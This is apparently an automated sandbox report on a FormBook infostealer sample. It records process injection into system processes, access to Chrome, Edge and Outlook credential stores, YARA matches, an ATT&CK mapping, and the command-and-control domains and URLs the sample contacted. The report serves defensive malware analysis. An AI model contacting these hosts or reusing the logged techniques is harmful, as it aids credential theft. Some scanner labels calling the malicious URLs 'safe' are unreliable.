Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\powercfg.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\powercfg.exe

Thread register set: target process: 7840

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\powercfg.exe

Thread APC queued: target process: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2480008

Jump to behavior

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006A87B1 LogonUserW,

0_2_006A87B1

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00653B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00653B3A

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_006548D7

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006B4C7F mouse_event,

0_2_006B4C7F

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\wWXR5js3k2.exe"	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006A7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_006A7CAF

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006A874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_006A874B

Source: wWXR5js3k2.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ycBMGRFRlht.exe, 00000004.00000000.1810745182.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2613115298.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613058661.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: wWXR5js3k2.exe, ycBMGRFRlht.exe, 00000004.00000000.1810745182.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2613115298.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613058661.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: ycBMGRFRlht.exe, 00000004.00000000.1810745182.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2613115298.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613058661.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: ycBMGRFRlht.exe, 00000004.00000000.1810745182.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2613115298.00000000014F1000.00000002.00000001.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613058661.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_0067862B cpuid

0_2_0067862B

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00684E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00684E87

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00691E06 GetUserNameW,

0_2_00691E06

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00683F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00683F3A

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006549A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006549A0

Source: wWXR5js3k2.exe, 00000000.00000003.1358395699.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000002.1378876091.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1359604715.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1361383455.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1360817764.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1360684874.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: msmpeng.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.2600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2613375030.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2613433985.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2613432274.0000000002B50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886277798.0000000002600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1887212251.0000000004E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2610818121.0000000002A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2615837301.0000000005650000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886979901.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\powercfg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: wWXR5js3k2.exe	Binary or memory string: WIN_81
Source: wWXR5js3k2.exe	Binary or memory string: WIN_XP
Source: wWXR5js3k2.exe	Binary or memory string: WIN_XPe
Source: wWXR5js3k2.exe	Binary or memory string: WIN_VISTA
Source: wWXR5js3k2.exe	Binary or memory string: WIN_7
Source: wWXR5js3k2.exe	Binary or memory string: WIN_8
Source: wWXR5js3k2.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.2600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2613375030.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2613433985.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2613432274.0000000002B50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886277798.0000000002600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1887212251.0000000004E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2610818121.0000000002A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2615837301.0000000005650000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886979901.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006C6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_006C6283
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006C6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_006C6747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	161 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
wWXR5js3k2.exe	65%	Virustotal		Browse
wWXR5js3k2.exe	74%	ReversingLabs	Win32.Trojan.Strab
wWXR5js3k2.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.supernutra01.online/rk61/?rdmhfXe=4Jev6jkxg6xEO7DVmJ20iETfs2t7f6dacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9IEZesAjm/l1NEB+do2leeTcUFeI7Uw==&AF=At8pGDY0Z	0%	Avira URL Cloud	safe
http://www.wine-drinkers.club/hakt/?rdmhfXe=Z3UZ9pkvUTN8eySircCOaDAcK9AA6JZfB0YdpGFssPaitvOOGMcOB1EIrUeEo9sxw4W4nK9e2r79OuzvY2TkP9tUb4eHWat+jQL942ZrdRgvNUE9NQ==&AF=At8pGDY0Z	0%	Avira URL Cloud	safe
https://kb.fastpanel.direct/troubleshoot/	0%	Avira URL Cloud	safe
http://www.supernutra01.online/rk61/	0%	Avira URL Cloud	safe
http://www.oneeyetrousersnake.xyz/4inx/	0%	Avira URL Cloud	safe
http://www.1secondlending.one/6pwo/	0%	Avira URL Cloud	safe
http://www.oneeyetrousersnake.xyz	0%	Avira URL Cloud	safe
http://www.wine-drinkers.club/hakt/	0%	Avira URL Cloud	safe
http://www.1secondlending.one/6pwo/?rdmhfXe=OcYLCa3XOMtt+Rsv8j1JEBYyKSs2FBnaDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abiRcuJlWrvFsYiciiVw8Ks4AYAtrm9w==&AF=At8pGDY0Z	0%	Avira URL Cloud	safe
http://www.qqa79.top/mz0w/?rdmhfXe=uMzU0JGK22aEYJLCyAIreKcU1rJUCkGv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wwp4pfrJHMjCh6luBqHWNFeR0cmEvsKw==&AF=At8pGDY0Z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
qqa79.top	38.47.233.21	true	false	unknown
oneeyetrousersnake.xyz	63.250.43.134	true	true	unknown
www.supernutra01.online	188.114.97.3	true	false	high
www.1secondlending.one	43.205.198.29	true	false	high
www.wine-drinkers.club	194.245.148.189	true	true	unknown
www.qqa79.top	unknown	unknown	false	unknown
www.oneeyetrousersnake.xyz	unknown	unknown	true	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.supernutra01.online/rk61/?rdmhfXe=4Jev6jkxg6xEO7DVmJ20iETfs2t7f6dacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9IEZesAjm/l1NEB+do2leeTcUFeI7Uw==&AF=At8pGDY0Z	true	Avira URL Cloud: safe	unknown
http://www.qqa79.top/mz0w/?rdmhfXe=uMzU0JGK22aEYJLCyAIreKcU1rJUCkGv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wwp4pfrJHMjCh6luBqHWNFeR0cmEvsKw==&AF=At8pGDY0Z	false	Avira URL Cloud: safe	unknown
http://www.oneeyetrousersnake.xyz/4inx/	true	Avira URL Cloud: safe	unknown
http://www.wine-drinkers.club/hakt/	true	Avira URL Cloud: safe	unknown
http://www.supernutra01.online/rk61/	true	Avira URL Cloud: safe	unknown
http://www.1secondlending.one/6pwo/?rdmhfXe=OcYLCa3XOMtt+Rsv8j1JEBYyKSs2FBnaDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abiRcuJlWrvFsYiciiVw8Ks4AYAtrm9w==&AF=At8pGDY0Z	true	Avira URL Cloud: safe	unknown
http://www.wine-drinkers.club/hakt/?rdmhfXe=Z3UZ9pkvUTN8eySircCOaDAcK9AA6JZfB0YdpGFssPaitvOOGMcOB1EIrUeEo9sxw4W4nK9e2r79OuzvY2TkP9tUb4eHWat+jQL942ZrdRgvNUE9NQ==&AF=At8pGDY0Z	true	Avira URL Cloud: safe	unknown
http://www.1secondlending.one/6pwo/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://joker.com/?pk_campaign=Parking&pk_kwd=text	powercfg.exe, 00000005.00000002.2614313409.000000000417A000.00000004.10000000.00040000.00000000.sdmp, powercfg.exe, 00000005.00000002.2616328430.00000000062F0000.00000004.00000800.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613874662.0000000003ABA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://kb.fastpanel.direct/troubleshoot/	powercfg.exe, 00000005.00000002.2616328430.00000000062F0000.00000004.00000800.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2614313409.0000000003FE8000.00000004.10000000.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2613874662.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.oneeyetrousersnake.xyz	ycBMGRFRlht.exe, 00000008.00000002.2615837301.000000000570B000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	powercfg.exe, 00000005.00000002.2616496531.0000000007D3B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
38.47.233.21	qqa79.top	United States	174	COGENT-174US	false
188.114.97.3	www.supernutra01.online	European Union	13335	CLOUDFLARENETUS	false
43.205.198.29	www.1secondlending.one	Japan	4249	LILLY-ASUS	false
194.245.148.189	www.wine-drinkers.club	Germany	5517	CSLDE	true
63.250.43.134	oneeyetrousersnake.xyz	United States	22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587987
Start date and time:	2025-01-10 20:08:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wWXR5js3k2.exe renamed because original name is a hash value
Original Sample Name:	919e47baabe9cc5fe28aa098991efc624b4cfe2c4008ce036a35b49edc438a4d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@6/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 58 Number of non-executed functions: 284
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53, 20.242.39.171, 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ycBMGRFRlht.exe, PID 3688 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:11:12	API Interceptor	451302x Sleep call for process: powercfg.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
38.47.233.21	Recibos.exe	Get hash	malicious	FormBook	Browse	www.qqa79.top/dp98/
38.47.233.21	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.qqa79.top/dp98/
188.114.97.3	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.vh5g.sbs/rjsl/
